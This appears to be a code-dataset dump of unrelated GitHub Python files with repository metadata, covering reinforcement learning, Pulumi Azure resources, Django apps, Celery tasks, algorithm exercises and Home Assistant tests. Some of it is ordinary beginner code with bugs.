bb41814dc79f56a082a777e17ed31320db43edf4
/reinforcement_learning/0x00-q_learning/4-play.py
d6b4d54e98814a6ad8799721a6031a8177cbde91
[]
no_license
garimasinghgryffindor/holbertonschool-machine_learning
a92c619b6ad2d110ed97b33fa9903f5134c96866
856ee36006c2ff656877d592c2ddb7c941d63780
refs/heads/master
2023-08-01T09:58:13.863062
2020-11-28T00:50:55
2020-11-28T00:50:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
674
py
#!/usr/bin/env python3 """ Has the trained agent play an episode """ import numpy as np def play(env, Q, max_steps=100): """ Has the trained agent play an episode :param env: is the FrozenLakeEnv instance :param Q: is a numpy.ndarray containing the Q-table :param max_steps: is the maximum number o...
[ "kenneth.ca95@gmail.com" ]
kenneth.ca95@gmail.com
538609c419c2927cdc8dfadedbe9bd4adf2e7c9f
82b946da326148a3c1c1f687f96c0da165bb2c15
/sdk/python/pulumi_azure_native/datashare/v20201001preview/data_set_mapping.py
e00a71eae41a251fe545b0c3ef3d7cbfc785120d
[ "Apache-2.0", "BSD-3-Clause" ]
permissive
morrell/pulumi-azure-native
3916e978382366607f3df0a669f24cb16293ff5e
cd3ba4b9cb08c5e1df7674c1c71695b80e443f08
refs/heads/master
2023-06-20T19:37:05.414924
2021-07-19T20:57:53
2021-07-19T20:57:53
387,815,163
0
0
Apache-2.0
2021-07-20T14:18:29
2021-07-20T14:18:28
null
UTF-8
Python
false
false
12,170
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities fro...
[ "noreply@github.com" ]
morrell.noreply@github.com
e79fb1916d742af9ebab6860a5bdb652ce86a1d1
ede6ee7bdbd76dbb39ffcddfc98725062566ebf4
/barbados/indexes/list.py
6c9b98ec709fd610d48643a70555b79387304c46
[]
no_license
cohoe/barbados
cfa3cb4fab8c183fc4a4f943f452a89ebe193ea2
343f8fd4ac1f18e5e93d519cbc064693280e4d00
refs/heads/master
2021-08-07T12:33:53.263230
2021-07-18T01:59:16
2021-07-18T01:59:16
234,824,108
0
1
null
null
null
null
UTF-8
Python
false
false
541
py
from elasticsearch_dsl import Document, Text, InnerDoc, Object from barbados.indexes.base import BaseIndex, BarbadosIndex class ListItemIndex(InnerDoc): cocktail_slug = Text(analyzer='whitespace', search_analyzer='whitespace') spec_slug = Text(analyzer='whitespace', search_analyzer='whitespace') class ListI...
[ "grant@grantcohoe.com" ]
grant@grantcohoe.com
e1bb0795b99caf9bd0e6effbaf3c0a068848378b
12b7dc1d608b0deca429485493482afca5f99736
/app/config/settings/dev.py
8f40045b1ceefb621445b8de6efa70ce96e82c8e
[]
no_license
Ryanden/EB-Docker-Deploy2-practice-
3c147786ccb6567c8e325ac79527052a15152a4a
4e12f4e35da6d26979b6915165227f9167c507d5
refs/heads/master
2022-12-09T09:37:51.404751
2019-05-16T05:04:15
2019-05-16T05:04:15
142,002,119
0
0
null
2022-12-08T02:36:17
2018-07-23T10:58:30
Python
UTF-8
Python
false
false
369
py
from .base import * secrets = json.load(open(os.path.join(SECRETS_DIR, 'dev.json'))) DEBUG = True INSTALLED_APPS += [ 'storages', 'django_extensions' ] DEFAULT_FILE_STORAGE = 'config.storages.S3DefaultStorage' AWS_STORAGE_BUCKET_NAME = secrets['AWS_STORAGE_BUCKET_NAME'] WSGI_APPLICATION = 'config.wsgi.dev...
[ "lockstom@gmail.com" ]
lockstom@gmail.com
d20bfefcbb689e95a0e699712752808cee0aabd1
5966449d2e29c9b64351895db2932f94f9de42da
/catkin_ws/build/calibration_common/catkin_generated/pkg.develspace.context.pc.py
74b3622b6da1649f18d3cf518a907cdaf2f04265
[]
no_license
godaeseong/GoHriProject
8cbce6934485b8ba3253fc7b6c5b5b59397b4518
425e70b7c91b6215f5477fc2250d2b0ac96577be
refs/heads/master
2021-05-11T22:11:56.099580
2018-01-15T02:20:43
2018-01-15T02:20:43
117,484,817
0
0
null
null
null
null
UTF-8
Python
false
false
613
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/hri/catkin_ws/src/calibration_toolkit/calibration_common/include;/usr/include/eigen3".split(';') if "/home/hri/catkin_ws/src/calibration_toolkit/calibration_common/include;/usr/include/eigen3" !=...
[ "bigdream0129@naver.com" ]
bigdream0129@naver.com
6c191364901cf72b6e7ec942af7f4fc7c333ad1a
fc353b0433348ff58841cf32bf1f5e594e037513
/leetcode/830.py
8c5023a11d45ce74865a0054c858b8aaa012615c
[]
no_license
TrellixVulnTeam/Demo_933I
ce759ec52dd191f99b998862f4aba7971878ba37
ab662060eb07a88a48c9832e09bf268517c1a3fa
refs/heads/master
2023-04-27T16:55:29.627491
2021-05-07T05:38:58
2021-05-07T05:38:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
230
py
from graphics import * import math spriaal = GraphWin("Joonistus", 1000, 1000) a = 5 b = 4 while True: x = math.sin(a + math.pi() / 2) y = math.sin() pt = Point(x + 500, y + 500) pt.draw(spriaal)
[ "1149061045@qq.com" ]
1149061045@qq.com
0474c7ac7fcab24e97fcd8a5d1fc67dd45461b2f
3a476e0de377d1580facbfd78efdfbca009ed7a3
/uct_test.py
403c551b8a4100fa685aca7eda34a6d39cf067a1
[ "MIT" ]
permissive
liuruoze/Thought-SC2
b7366186dbb4494fabdb3e0104354665e21ff707
b3cfbeffbfa09b952c596805d2006af24613db2d
refs/heads/master
2023-04-28T11:47:56.771797
2021-01-15T00:25:26
2021-01-15T00:25:26
296,185,180
4
2
MIT
2023-04-24T09:06:48
2020-09-17T01:17:04
Python
UTF-8
Python
false
false
1,300
py
USED_DEVICES = "6,7" import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"] = USED_DEVICES from uct.numpy_impl import * import tensorflow as tf from prototype.dynamic_network import DynamicNetwork from prototype.hier_network import HierNetwork def test(is_restore_policy=True, is_...
[ "liuruoze@163.com" ]
liuruoze@163.com
1f3f19f03def5c7a6c1e1e2eb72b4fa33bdf7c50
6b5572557c4a0785c4b727ee024790ec066ad6f2
/Baekjoon/삼성 SW 역량 테스트 기출 문제/감시.py
17577c83e70a00bb1a4e4811333b625744615101
[]
no_license
easternpillar/AlgorithmTraining
5be38998dc062d1d02933f61eaca3265e1b73981
c8f05eda86161a7dbacab99154be1af292e7db8a
refs/heads/master
2023-04-29T11:13:34.984005
2023-04-08T07:12:29
2023-04-08T07:12:29
231,875,419
1
0
null
null
null
null
UTF-8
Python
false
false
8,986
py
# Problem: # Given the structure of office, return the minimum number of blind spots. # My Solution: from collections import deque import copy def camera1(o, pos): re = [] temp = copy.deepcopy(o) r, c = pos[0], pos[1] while r > 0: r -= 1 if temp[r][c] == 6: break ...
[ "roh941129@gmail.com" ]
roh941129@gmail.com
4677fbdc2a00050d77fd0d794bb57194c2f5ee75
e8e4bb89c6ce57c038de445091ddebc1c1b6eb26
/oldscripts/Transport_permoor_newer.py
7b4c40d98f9b1bbd636b05bd970899b248439250
[]
no_license
ilebras/OSNAP
dc7fba846f866ec64edab35a278d2ce6c86e5f97
a5b22026351d2eb8dc4c89e2949be97122936d23
refs/heads/master
2021-05-12T16:46:18.955345
2020-09-08T23:04:23
2020-09-08T23:04:23
117,025,921
0
0
null
null
null
null
UTF-8
Python
false
false
13,958
py
################################################################################# ################################################################################# ################################################################################# ######################## CALCULATE TRANSPORT #############################...
[ "isabela.lebras@gmail.com" ]
isabela.lebras@gmail.com
e10a899ea0e195ad55ab677dbc9616a9e3f64832
f72fa4432e6abb742cbf1c61c580db1ed688a311
/day27/s21crm/crm/forms/school.py
c8e42b166247fd56e11cee8ef0a4b0e7def14cb2
[]
no_license
huningfei/python
7ddc9da14a3e53ad1c98fc48edd1697a6f8fc4f7
9ca1f57f2ef5d77e3bb52d70ac9a241b8cde54d2
refs/heads/master
2022-10-31T18:56:33.894302
2019-01-04T11:06:59
2019-01-04T11:06:59
128,178,516
2
1
null
2022-10-12T19:26:04
2018-04-05T08:25:32
Python
UTF-8
Python
false
false
401
py
from django import forms from crm import models class SchoolModelForm(forms.ModelForm): class Meta: model = models.School # 这里前面的model一定不要写models fields = '__all__' error_messages = { 'title': {'required': '学校不能为空'} } widgets = { 'title': forms.Text...
[ "huningfei@126.com" ]
huningfei@126.com
909457621a61debda7558bb9f60c2c7feb57b2d0
76a402b7db1432f9bf8b9605416521a4284ce1e2
/nim_game.py
95d3be8cab232b6f99b6eef35ff32fa60baa5ddf
[]
no_license
SuguruChhaya/nim-game
7aa915a475d414288fbb33957cad88ec4dac0c1d
6f345a36dc3a26ee8e5f89c139718a21b7050232
refs/heads/master
2022-12-13T01:30:04.352715
2020-09-22T23:42:51
2020-09-22T23:42:51
285,307,692
0
0
null
null
null
null
UTF-8
Python
false
false
4,498
py
import random ''' Not to create objects but just to manage the methods. ''' class MainGame(): def __init__(self, reaching_number, increment, goesfirst): self.reaching_number = reaching_number self.increment = increment self.goesfirst = goesfirst #*Keeps track of the previous numbers...
[ "suguruchhaya@gmail.com" ]
suguruchhaya@gmail.com
6759479a9640fc8ea7ba928109da4abbb456fb4a
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/25/usersdata/112/12124/submittedfiles/av1_3.py
0b936ae903da1273501fd3e5f09c85bf73708585
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
219
py
# -*- coding: utf-8 -*- from __future__ import division import math zeta=0 tan=0 a=input('Digite o valor de a') b=input('Digite o valor de b') c=a%b while a%b!=0: if b%c!=0: b=zeta zeta=a print(zeta)
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
36eef88f9be11b834b7c966f8e0e37c3e0e6c41b
8388d0ed8ad412c47d47dd9da8f05e35f7e2644c
/accepted/48-rotate-image.py
7a18dd7fa4f48ec671c91742020ac5e4795f1851
[]
no_license
luodichen/leetcode-solution
d4cd5abbb0f5cf640035b563ed566c706d4fcbed
74c2f9e0e60e64c84be6db9b0511db037d12b109
refs/heads/master
2020-05-16T16:45:42.056541
2015-11-16T05:41:59
2015-11-16T05:41:59
39,545,259
0
0
null
null
null
null
UTF-8
Python
false
false
606
py
# https://leetcode.com/problems/rotate-image/ class Solution: # @param {integer[][]} matrix # @return {void} Do not return anything, modify matrix in-place instead. def rotate(self, matrix): if 0 == len(matrix): return list() result = [] col_len = len(matrix[0]) ...
[ "me@luodichen.com" ]
me@luodichen.com
01ef88728bf02ea3ad9fac6b0c5c4f64a492c30a
96dcea595e7c16cec07b3f649afd65f3660a0bad
/tests/components/remote/test_device_trigger.py
b5dcca3dc4c9f2fe772eca66fdec608d73ab918b
[ "Apache-2.0" ]
permissive
home-assistant/core
3455eac2e9d925c92d30178643b1aaccf3a6484f
80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743
refs/heads/dev
2023-08-31T15:41:06.299469
2023-08-31T14:50:53
2023-08-31T14:50:53
12,888,993
35,501
20,617
Apache-2.0
2023-09-14T21:50:15
2013-09-17T07:29:48
Python
UTF-8
Python
false
false
13,958
py
"""The test for remote device automation.""" from datetime import timedelta import pytest from pytest_unordered import unordered import homeassistant.components.automation as automation from homeassistant.components.device_automation import DeviceAutomationType from homeassistant.components.remote import DOMAIN from ...
[ "noreply@github.com" ]
home-assistant.noreply@github.com
810e8fc904dfdccceb4282cca5aa2a50ec0181a8
5864e86954a221d52d4fa83a607c71bacf201c5a
/eve/client/script/environment/spaceObject/structure.py
88fcfaaef3632e06940848939a4cc0691a53f89d
[]
no_license
connoryang/1v1dec
e9a2303a01e5a26bf14159112b112be81a6560fd
404f2cebf13b311e754d45206008918881496370
refs/heads/master
2021-05-04T02:34:59.627529
2016-10-19T08:56:26
2016-10-19T08:56:26
71,334,417
0
0
null
null
null
null
UTF-8
Python
false
false
7,417
py
#Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\client\script\environment\spaceObject\structure.py import blue import uthread import structures import evetypes import logging from eve.client.script.environment.spaceObject.buildableStructure import BuildableStructure from eve.clie...
[ "le02005@163.com" ]
le02005@163.com
d52e595dc32e6ffdf0abd0ec6fc0f348ce9ada5e
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03089/s662353627.py
14c606722f6e0774d8c3d2625e893ec714620f0c
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
365
py
n = int(input()) b = list(map(int , input().split())) def f(c): for i in reversed(range(len(c))): if c[i] == i+1: return (c[i], c[:i] + c[i+1:]) return (-1, c) ans = [] for i in range(n): (a, b) = f(b) if a == -1: print(-1) exit() ans.append(a) #print(ans, b...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
7249037b709c0aa0c8542843b0645547e32df6f8
a08492c20c6bda0282170fee569f3cd199876ec7
/scr/return_directories.py
6e090bc090e123ede17864f4f68be58e20f41193
[]
no_license
GregoryREvans/evans
a7744011ccd2395e15d325092e85a31379717e6d
7b0f7caa55e1c4b2a733b9b6fc42230a43313fb6
refs/heads/master
2023-08-31T04:29:31.296222
2023-08-21T02:32:12
2023-08-21T02:32:12
143,075,881
4
1
null
2021-06-06T07:27:38
2018-07-31T22:22:06
Python
UTF-8
Python
false
false
425
py
import pathlib def return_directories( p="/Users/gregoryevans/Scores", ignores=("_archive", ".mypy_cache", "_squonk", "akasha", "stirrings_still"), ): build_path = pathlib.Path(p) returns = [] for score in sorted(build_path.iterdir()): if not score.is_dir(): continue if...
[ "gregoryrowlandevans@gmail.com" ]
gregoryrowlandevans@gmail.com
c37631b47a0b6af83326403ee829649b804d3d58
f9697acaab8a8ee05ccbd5368f6c72ad8c5dd485
/backend/test_23115/wsgi.py
d1ce4e85722e439b0c888cf764cf31d84dc3e907
[]
no_license
crowdbotics-apps/test-23115
f6fd5b199d5586aed78f0a9844062c83ee0ab574
c6e7f7cf32130aa45fb31bba3fa67ad8e0346e82
refs/heads/master
2023-01-24T22:13:58.393735
2020-12-01T16:37:00
2020-12-01T16:37:00
317,603,669
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
""" WSGI config for test_23115 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SE...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
16e7a75e20aad03573da75c844a7329f52d68fe5
32c56293475f49c6dd1b0f1334756b5ad8763da9
/google-cloud-sdk/lib/surface/container/node_pools/__init__.py
245eda35f54a0e9605d06f2abed352e8ec9f670c
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "MIT" ]
permissive
bopopescu/socialliteapp
b9041f17f8724ee86f2ecc6e2e45b8ff6a44b494
85bb264e273568b5a0408f733b403c56373e2508
refs/heads/master
2022-11-20T03:01:47.654498
2020-02-01T20:29:43
2020-02-01T20:29:43
282,403,750
0
0
MIT
2020-07-25T08:31:59
2020-07-25T08:31:59
null
UTF-8
Python
false
false
1,982
py
# -*- coding: utf-8 -*- # # Copyright 2016 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
[ "jonathang132298@gmail.com" ]
jonathang132298@gmail.com
b2617614628599bfb4b9f00487c546159e392f55
e663909cec3c4eda12bb705fce9a6dc901bb7d88
/爬虫/day12 celery/案例/定时任务的使用/tasks.py
4c40c0aff2ac3b0e98d732cc5040744ae7ff06b3
[]
no_license
1284753334/learning2
a03f293965a652883503cae420d8b1ad11ae6661
f2fcb3c856656cc8427768b41add3ee083487592
refs/heads/master
2023-01-30T23:18:26.951210
2020-12-20T15:57:18
2020-12-20T15:57:18
315,065,804
2
0
null
null
null
null
UTF-8
Python
false
false
461
py
from celery import Celery from celery import Task app = Celery('tasks', backend='redis://:123456@127.0.0.1:6379/2', broker='redis://:123456@127.0.0.1:6379/2') app.config_from_object('celery_config') @app.task(bind=True) def period_task(self): print('period task done: {0}'.format(self.request.id)) # 运行work # cel...
[ "huapenghui@git.com" ]
huapenghui@git.com
e50c5b58cede70ff4ee4e99a6462a2a0bfa66ebb
1c390cd4fd3605046914767485b49a929198b470
/leetcode/number-of-ways-to-reorder-array-to-get-same-bst.py
20d18c287b19a6543b31a2e3550bee7c771d1829
[]
no_license
wwwwodddd/Zukunft
f87fe736b53506f69ab18db674311dd60de04a43
03ffffee9a76e99f6e00bba6dbae91abc6994a34
refs/heads/master
2023-01-24T06:14:35.691292
2023-01-21T15:42:32
2023-01-21T15:42:32
163,685,977
7
8
null
null
null
null
UTF-8
Python
false
false
320
py
class Solution: def numOfWays(self, a: List[int]) -> int: z = factorial(len(a)) def F(a): nonlocal z if a: z //= len(a) F([i for i in a if i < a[0]]) F([i for i in a if i > a[0]]) F(a) return (z - 1) % 1000000007
[ "wwwwodddd@gmail.com" ]
wwwwodddd@gmail.com
d84008737b9bd1f9dcb63e284d0f2f7a674116bc
d880b55d45726a9b9b12d24b059769350eeb6fb6
/app/tests/test_eventactions.py
0d49b3c282c0d5aaafc4cee1e7dc907315c8b1b1
[ "Apache-2.0" ]
permissive
twatchy/cito_engine
261a0bbf0dbdf1fe8cca19f598972307bc7df1c7
a62dce3c76567dd36b7efcaa70e03728b335f44e
refs/heads/master
2020-04-21T11:36:25.187256
2016-11-01T03:37:13
2016-11-01T03:37:13
169,531,529
0
0
Apache-2.0
2019-02-07T06:57:48
2019-02-07T06:57:43
Python
UTF-8
Python
false
false
4,329
py
"""Copyright 2014 Cyrus Dasadia Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distr...
[ "cyrus@extremeunix.com" ]
cyrus@extremeunix.com
97881fac8f0fc31d32cb2dcfab394222d5961334
9bd6caf9c42ac67dfcb120af272d8e65d8f6a9f6
/venv/bin/python-config
473844071904928c2233c7ec06d5e3c88290dd42
[]
no_license
haedal-with-knu/KNUstudents
f6da8e8c112af317addeb1cccaca9f3bfa6bcacc
6fc88e5699cc27fbf9f7b6437d84b249e450232e
refs/heads/master
2020-06-30T13:25:20.994394
2019-10-13T14:58:36
2019-10-13T14:58:36
200,837,311
1
6
null
2019-10-13T14:06:47
2019-08-06T11:24:16
CSS
UTF-8
Python
false
false
2,360
#!/Users/kangminchoi/haedal/KNUstudents/venv/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys...
[ "choikm3847@gmail.com" ]
choikm3847@gmail.com
0cc996327080cef74cacd4ca115b5b1872936fa0
0e78b2df0fb93afc62684dece8ac05b700570248
/BOJ/10833.py
06f397ce5fd59451cdaa7e04768b716105b35bc1
[]
no_license
ajy720/Algorithm
f1e2301327db09667ba011bc317c8f380707c25c
b141538802e9056f154ab91c816ad29500505f34
refs/heads/master
2022-05-06T21:37:05.780170
2022-04-23T09:25:52
2022-04-23T09:25:52
200,335,390
0
1
null
null
null
null
UTF-8
Python
false
false
102
py
ans = 0 for _ in ' '*int(input()): a, b = map(int, input().split()) ans += b % a print(ans)
[ "ajy720@gmail.com" ]
ajy720@gmail.com
f6f725cc17fc1faf7eac0a28e5e4359dcb58b5a7
3c94e55a1f2a41bdebd7a174c84c560283754b92
/coffeecoin_admin/wsgi.py
86e4bf45b6775b5ca4142c8a61f54a6eb322d346
[]
no_license
coinmenace/coffeecoin_admin
2542bca5f186b117a4d2b90cdde7cdbfa7ad6f3b
65ceaa4ffba319fac3286388b572d19cde646bb0
refs/heads/master
2020-03-27T04:15:57.482384
2018-08-24T01:22:39
2018-08-24T01:22:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
410
py
""" WSGI config for coffeecoin_admin project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJ...
[ "webframes@gmail.com" ]
webframes@gmail.com
20691830fbf91a5caae39677d6ec0024590b522a
72b00923d4aa11891f4a3038324c8952572cc4b2
/python/datastruct/dd_oob/pgm07_28.txt
c1f7f8084c1a8e16b2bdb107bdc35ca04776988a
[]
no_license
taowuwen/codec
3698110a09a770407e8fb631e21d86ba5a885cd5
d92933b07f21dae950160a91bb361fa187e26cd2
refs/heads/master
2022-03-17T07:43:55.574505
2022-03-10T05:20:44
2022-03-10T05:20:44
87,379,261
0
0
null
2019-03-25T15:40:27
2017-04-06T02:50:54
C
UTF-8
Python
false
false
722
txt
# # This file contains the Python code from Program 7.28 of # "Data Structures and Algorithms # with Object-Oriented Design Patterns in Python" # by Bruno R. Preiss. # # Copyright (c) 2003 by Bruno R. Preiss, P.Eng. All rights reserved. # # http://www.brpreiss.com/books/opus7/programs/pgm07_28.txt # class SortedListAs...
[ "taowuwen@126.com" ]
taowuwen@126.com
2a0f864a90d2c9af31adaade203406309f66c9d1
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_333/ch77_2020_04_13_15_29_15_904054.py
a10778292bfbe71d82aaf9be4a6d5a915023fc82
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
348
py
import math def calcula_tempo(dicionario): nome_tempo={} for nome_e_aceleracao in dicionario: nome=nome_e_aceleracao[0] aceleracao=nome_e_aceleracao[1] tempo=aceleracao_tempo(int(aceleracao)) nome_tempo[nome]=tempo return nome_tempo def aceleracao_tempo(a): t=ma...
[ "you@example.com" ]
you@example.com
8ea08f6a84070e59475e3de8786df6296cbdddd9
a989ff888d86eaad7d3572993d89af17bb29c7ec
/kartverket_stormsurge/helper/datetimes.py
981e44efed210c6a738f00d83a0f60092b15ec65
[ "MIT" ]
permissive
jerabaul29/kartverket_storm_surge_data
8f873232a3aff92f07a73220e51f8385278a029a
9a35492550ec8b3f4c0b7f1d17bf3bb4776f2c49
refs/heads/master
2023-01-31T02:17:34.834755
2020-12-15T10:30:54
2020-12-15T10:30:54
287,529,304
0
0
null
null
null
null
UTF-8
Python
false
false
2,229
py
import datetime import pytz from kartverket_stormsurge.helper.raise_assert import ras def assert_is_utc_datetime(date_in): """Assert that date_in is an UTC datetime.""" ras(isinstance(date_in, datetime.datetime)) if not (date_in.tzinfo == pytz.utc or date_in.tzinfo == datetime.timezone.utc):...
[ "jean.rblt@gmail.com" ]
jean.rblt@gmail.com
3f1602c001f4b70e038794a08ba4c725871c4198
040bd1995190e858299fcdd716bd986aa0664d13
/Trees and Graphs/MaxiumumDepthOfBinaryTree.py
04b51d71defc1958be86b73fc93dbac3a0196e5e
[]
no_license
PravinSelva5/LeetCode_Grind
7c568d68231ff34332d756237e79ca8d19cebfec
aa5fb8eb12b1e1903cb0cb688dc41f959e4caf6a
refs/heads/master
2023-02-08T13:05:10.355867
2021-01-05T02:55:29
2021-01-05T02:55:29
271,690,775
0
0
null
null
null
null
UTF-8
Python
false
false
1,066
py
''' Given the root of a binary tree, return its maximum depth. A binary tree's maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node -------------------- RESULTS -------------------- Time Complexity: O(N) Space Complexity: O(H), H represents the height of t...
[ "pravin.selvarajah.eng@gmail.com" ]
pravin.selvarajah.eng@gmail.com
633981c5580abc6b32852ac0098516780d0c8861
d9563f113fa4dcbf6dadb5ea186d69839f372119
/pedidos/migrations/0004_auto_20191129_1821.py
08c3d750eba80e0bc31f5b96aa8c4b9131fc203e
[]
no_license
CarlosSanz81/serv
717eefea1ead9325472cef165f2326a14dd355cd
dd3cb5b022b8b939ff6ea502b8335c257d057abb
refs/heads/master
2020-09-16T03:41:16.306550
2019-12-05T12:41:01
2019-12-05T12:41:01
223,640,310
0
0
null
null
null
null
UTF-8
Python
false
false
406
py
# Generated by Django 2.2.7 on 2019-11-29 17:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('pedidos', '0003_archivo'), ] operations = [ migrations.AlterField( model_name='archivo', name='nombre', ...
[ "carlossanzgarcia81@gmail.com" ]
carlossanzgarcia81@gmail.com
c92c8e96486ba05e3cf7c3d52836a06125a9a899
3d0ae7c8693463faa11bacad8e6ea9d0d70b9eb1
/nlp/3rdParty/orange/orange/OrangeWidgets/Prototypes/OWPreprocessing.py
168864c2174450afb47cb0f7ac89fb6b1324b927
[]
no_license
stefie10/slu_hri
a76f79094bd1740676fec5d889411ba3b1d9dc26
50753379953e1ff822162eeab094cffe4a30f3e1
refs/heads/master
2022-12-14T01:07:51.522258
2020-08-31T00:50:12
2020-08-31T00:50:12
291,386,375
0
0
null
null
null
null
UTF-8
Python
false
false
1,742
py
""" <name>Preprocessing</name> <description>Constructs data preprocessors.</description> <icon>icons/FeatureConstructor.png</icon> <priority>11</priority> <contact>Janez Demsar (janez.demsar(@at@)fri.uni-lj.si)</contact> """ from OWWidget import * import OWGUI, math, re from orngWrap import Preprocessor c...
[ "stefie10@alum.mit.edu" ]
stefie10@alum.mit.edu
484b36d95ccf1122a18ef55f269dda7d400b80d3
1e19cab9c19562477cf561a88949faeee3731015
/quanbenxiaoshuo/novels/apps.py
19579c3e8a0d90b30a3869db99775e9dc90b0c58
[]
no_license
sugyli/a_dou
62f5c3090f4001b68613a0b7c30526a58f512aa7
4c3121495416361d7f4bfe97e3ed15c61c28f1e3
refs/heads/master
2021-06-24T12:30:44.018193
2019-12-02T05:27:41
2019-12-02T05:27:41
205,197,259
0
0
null
2021-02-08T20:36:17
2019-08-29T15:45:23
JavaScript
UTF-8
Python
false
false
120
py
from django.apps import AppConfig class NovelsConfig(AppConfig): name = 'novels' verbose_name=u'小说管理'
[ "“3101967255@qq.com”" ]
“3101967255@qq.com”